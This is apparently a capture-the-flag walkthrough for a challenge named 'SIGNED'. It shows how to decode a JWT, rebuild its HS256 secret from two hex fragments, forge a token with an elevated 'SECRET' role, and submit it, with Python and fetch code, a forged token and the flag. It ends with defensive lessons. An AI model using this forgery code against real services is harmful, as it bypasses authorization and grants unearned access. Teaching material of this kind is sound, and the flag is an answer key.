2.3 ; SIGNED
Challenge Description
The CONFIDENTIAL portal session gave you a JWT. It works, but only at this tier. The SECRET tier requires a higher clearance token. You have everything you need to produce one.
Endpoint: POST /api/v1/verify with {"token": "<jwt>"}
Required: JWT_PT1 from 2.1 ; INTERCEPT and JWT_PT2 from 2.2 ; DEAD DROP
Overview
The CONFIDENTIAL portal issued a JWT signed with role: CONFIDENTIAL. The
SECRET tier endpoint verifies HS256 JWTs and only grants access for
role: SECRET. Players reconstruct the full JWT signing secret from both
halves, forge a new token with the upgraded role, and submit it.
Step 1: Decode the Existing Token
The JWT received from the CONFIDENTIAL portal has three base64url-encoded parts separated by dots. Decode the payload (middle part) to read the current claims:
import base64, json
def b64url_decode(s):
s += "=" * (-len(s) % 4)
return base64.urlsafe_b64decode(s)
token = "eyJhbGci..." # token from CONFIDENTIAL portal
parts = token.split(".")
header = json.loads(b64url_decode(parts[0]))
payload = json.loads(b64url_decode(parts[1]))
print(header) # {"alg": "HS256", "typ": "JWT"}
print(payload) # {"sub": "analyst", "role": "CONFIDENTIAL", ...}
You can also just paste the token into jwt.io.
Algorithm is HS256. The secret is what needs to be recovered.
Step 2: Reconstruct the Signing Secret
From 2.1 ; INTERCEPT: JWT_PT1 = 656368656c6f6e2e6e6f646530372e73
From 2.2 ; DEAD DROP: JWT_PT2 = 657373696f6e2e6b65792e3230323621
The full secret is the two hex strings decoded and concatenated:
pt1 = bytes.fromhex("656368656c6f6e2e6e6f646530372e73")
pt2 = bytes.fromhex("657373696f6e2e6b65792e3230323621")
secret = pt1 + pt2
print(secret) # b'echelon.node07.session.key.2026!'
Step 3: Forge the Token
Craft a new payload with role: SECRET and sign it with the recovered secret:
import hmac, hashlib, base64, json
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
secret = b"echelon.node07.session.key.2026!"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"sub": "analyst",
"role": "SECRET",
"node": "ECHELON.NODE.07",
"iat": 1773510400,
"exp": 9999999999
}
h = b64url(json.dumps(header, separators=(',',':')))
p = b64url(json.dumps(payload, separators=(',',':')))
msg = f"{h}.{p}"
sig = hmac.new(secret, msg.encode(), hashlib.sha256).digest()
forged_token = f"{msg}.{b64url(sig)}"
Alternatively: jwt.io (https://jwt.io) with algorithm HS256 and the recovered
secret, editing the role field directly in the payload editor.
Step 4: Submit
import requests
r = requests.post("https://echelon.two-shoes.org/api/v1/verify",
json={"token": forged_token})
print(r.json())
# {"status": "authenticated", "role": "SECRET", "flag": "ECHELON{f0rged_but_valid}", ...}
This can also be done from the browser console with fetch:
forged_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwicm9sZSI6IlNFQ1JFVCIsIm5vZGUiOiJFQ0hFTE9OLk5PREUuMDciLCJpYXQiOjE3NzM0MjM2MDAsImV4cCI6OTk5OTk5OTk5OSwieC1lY2hlbG9uLWZsYWciOiJFQ0hFTE9Oe24waXNlX2lzX25ldmVyX2p1c3RfbjBpc2V9In0.sUhRs3wGI3TsZcOJr9RWHpfTForDq7I5C6JtyWF1k4Q"
fetch("/api/v1/verify", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({token: forged_token})
})
.then(r => r.json())
.then(console.log)
Key Takeaways
HS256 JWTs are only as secure as their signing secret. A secret reconstructible from captured network traffic is no secret at all. In production, JWT secrets must be long, random, and never transmitted or derivable from observable artifacts. Asymmetric algorithms (RS256, ES256) sidestep this entirely: the private key never leaves the signing service.
Note also the 403 response for a valid CONFIDENTIAL token: the endpoint
verified the signature correctly but rejected on role. This is the correct
behaviour, authentication and authorization are separate concerns.
Flag
ECHELON{f0rged_but_valid}